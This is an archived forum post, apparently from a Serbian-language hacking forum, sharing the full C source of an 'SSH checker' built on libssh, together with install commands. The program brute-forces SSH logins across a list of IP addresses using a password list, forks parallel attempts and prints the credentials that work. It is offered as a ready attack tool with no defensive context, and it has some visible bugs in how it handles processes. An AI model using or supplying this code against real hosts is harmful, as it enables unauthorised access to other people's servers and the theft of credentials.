SSH Checker by c0ax

ljuskaArchive
//archivePosts: 37Member, Moderator edited December 2016 in C / C# / C++

Scripta koristi libssh modul, tako da bi ste je installirali na neku masinu prvo morate to sranje installirati.

apt-get install libssh-dev
yum install libssh-devel (ako se secam dobro)

Scripta radi bruteforce na odredjen username, i za svaku IP iz liste probava username root i svaki password iz password liste.

pisana u Cu, stavio cpp syntax hl (lepsi je xD)

#include <libssh/libssh.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>

#include <unistd.h>

int main(int argc, char **argv)
{
    ssh_session sess = NULL;
    FILE *ipfp, *passfp;
    char *user = NULL;
    char pass[256], host[256];
    int maxthreads = 0, threads = 0;

    if(argc != 5) {
        printf("Usage: %s <user> <iplist.txt> <pwlist.txt> <threads>\n", argv[0]);
        exit(-1);
    }

    user = strdup(argv[1]);
    ipfp = fopen(argv[2], "r");
    if(ipfp == NULL) {
        printf("Invalid ip list\n");
        exit(-1);
    }
    passfp = fopen(argv[3], "r");
    if(passfp == NULL) {
        printf("Invalid pass list\n");
        exit(-1);
    }

    maxthreads = atoi(argv[4]);

    sess = ssh_new();
    if(sess == NULL) {
        printf("Unable to create libssh session\n");
        exit(-1);
    }
    ssh_options_set(sess, SSH_OPTIONS_PORT_STR, "22");
    ssh_options_set(sess, SSH_OPTIONS_USER, user);

    while(!feof(ipfp)) {
        if(!fgets(host, sizeof(host) - 1, ipfp))
            continue;
        *strchr(host, '\n') = '\0';

        ssh_options_set(sess, SSH_OPTIONS_HOST, host);

        fseek(passfp, 0, SEEK_SET);
        while(!feof(passfp)) {
            if(!fgets(pass, sizeof(pass) - 1, passfp))
                continue;
            *strchr(pass, '\n') = '\0';

            while(threads > maxthreads) {
                wait(NULL);
                threads--;
            }
            threads++;
            usleep(500000);

            if(fork()) {
                if(ssh_connect(sess) != SSH_OK) {
                    printf("%s\n", ssh_get_error(sess));
                    exit(0);
                }
                if(ssh_userauth_password(sess, NULL, pass) == SSH_AUTH_SUCCESS) {
                    printf("FOUND: %s - %s:%s\n", host, user, pass);
                    ssh_disconnect(sess);
                    exit(0);
                } else {
                    printf("ERROR: %s - %s:%s\n", host, user, pass);
                    ssh_disconnect(sess);
                    exit(0);
                }
            }
        }

    }

    while(wait(NULL) >= 0);

    free(user);
    fclose(ipfp);
    fclose(passfp);
    ssh_free(sess);
}
Sign In or Register to comment.

Welcome

It looks like you're new here. If you want to get involved, click one of these buttons!

Discussions